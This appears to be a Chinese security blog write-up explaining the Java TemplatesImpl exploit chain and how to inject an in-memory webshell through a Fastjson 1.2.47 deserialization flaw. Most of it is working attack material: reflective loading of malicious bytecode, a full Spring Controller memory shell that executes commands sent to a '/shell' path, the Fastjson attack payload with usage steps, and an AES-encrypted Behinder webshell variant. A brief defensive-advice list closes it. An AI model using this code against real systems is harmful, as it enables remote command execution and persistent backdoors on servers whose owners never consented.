TemplatesImpl利用链与Fastjson注入内存马
字数 1277 2025-08-25 22:58:29
TemplatesImpl利用链与Fastjson注入内存马技术分析
0x01 背景知识
TemplatesImpl利用链是Java安全中一个极其重要的攻击链,被广泛应用于多种攻击场景:
- CC链(Commons Collections)利用
- CB链(Commons Beanutils)利用
- 内存马注入
核心价值:能够加载Java字节码并实例化,比直接调用Runtime.exec执行命令更加灵活和强大。
关键利用链:
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
补充利用链(通过getOutputProperties触发):
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
[后续同上]
0x02 类加载器基础
ClassLoader核心API
public abstract class ClassLoader {
public Class loadClass(String name);
protected Class defineClass(byte[] b);
public URL getResource(String name);
public Enumeration getResources(String name);
public ClassLoader getParent();
}
常见类加载器类型
- URLClassLoader
- DefineClassLoader
- BCELClassloader
- TemplatesImpl内置加载器
0x03 defineClass加载机制
反射调用defineClass示例
// 反射获取ClassLoader#defineClass
Class clazz = Class.forName("java.lang.ClassLoader");
Method defineClassMethod = clazz.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// 加载Base64编码的恶意类字节码
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAX...");
// 定义并实例化类
Class targetClass = (Class) defineClassMethod.invoke(
ClassLoader.getSystemClassLoader(),
"com.classloader.Evil",
bytes, 0, bytes.length);
targetClass.newInstance();
关键注意事项
defineClass仅定义类,不执行任何代码- 必须调用
newInstance()才会触发:- 静态代码块(static{})
- 构造代码块({})
- 构造方法
0x04 TemplatesImpl利用详解
恶意类构造要求
必须满足以下条件:
- 继承
AbstractTranslet类 - 实现两个
transform方法(继承要求)
示例恶意类:
public class TemplatesImplEvil extends AbstractTranslet {
public TemplatesImplEvil() throws IOException {
super();
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
// 必须实现的transform方法
@Override public void transform(DOM document, SerializationHandler[] handlers){}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){}
}
完整利用代码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAe...");
TemplatesImpl templates = new TemplatesImpl();
// 设置必要字段
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 触发漏洞
templates.newTransformer();
利用链执行流程
newTransformer()或getOutputProperties()作为入口- 最终通过
getTransletInstance()调用newInstance() - 完整链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() TemplatesImpl#getTransletInstance() -> Constructor#newInstance() -> Runtime#exec(java.lang.String)
0x05 内存马注入技术
Spring Controller内存马示例
public class TemplatesImplSpringController extends AbstractTranslet {
// 无参构造方法 - 注册内存马的核心逻辑
public TemplatesImplSpringController() throws Exception {
super();
// 获取Spring上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder
.currentRequestAttributes().getAttribute(
"org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(
RequestMappingHandlerMapping.class);
// 准备注册Controller所需的参数
Method method2 = TemplatesImplSpringController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注册恶意Controller
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
mappingHandlerMapping.registerMapping(info, inject, method2);
}
// 有参构造方法 - 避免无限递归
public TemplatesImplSpringController(String aaa) {}
// 实际执行的恶意代码
public void test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getResponse();
// 命令执行逻辑
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
// 执行命令并回显
String o = "";
java.lang.ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream())
.useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
}
// 必须实现的transform方法
@Override public void transform(DOM document, SerializationHandler[] handlers){}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){}
}
获取Spring上下文的四种方式
ContextLoader.getCurrentWebApplicationContext()WebApplicationContextUtils.getWebApplicationContext()RequestContextUtils.getWebApplicationContext()RequestContextHolder.currentRequestAttributes().getAttribute()
0x06 Fastjson 1.2.47注入内存马
攻击Payload结构
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意类字节码"],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {},
"_version": "1.0",
"allowedProtocols": "all"
}
}
漏洞利用步骤
- 准备Spring Controller内存马的字节码
- 将字节码Base64编码后插入Payload
- 发送到存在Fastjson 1.2.47漏洞的端点
- 访问注册的恶意路径(如
/shell)执行命令
冰蝎内存马改造
将test()方法替换为冰蝎逻辑:
public void test() throws Exception {
try {
HttpServletRequest request = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getResponse();
HttpSession session = request.getSession();
// 冰蝎核心逻辑
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b"; // 连接密码md5前16位
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
Method method = Class.forName("java.lang.ClassLoader")
.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(
new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(
this.getClass().getClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} catch (Exception e){
e.printStackTrace();
}
}
0x07 防御建议
- 及时升级Fastjson到最新安全版本
- 禁止JVM加载不受信任的字节码
- 对反序列化操作进行严格管控
- 使用安全产品监控异常类加载行为
- 对内存马注入行为进行检测和防护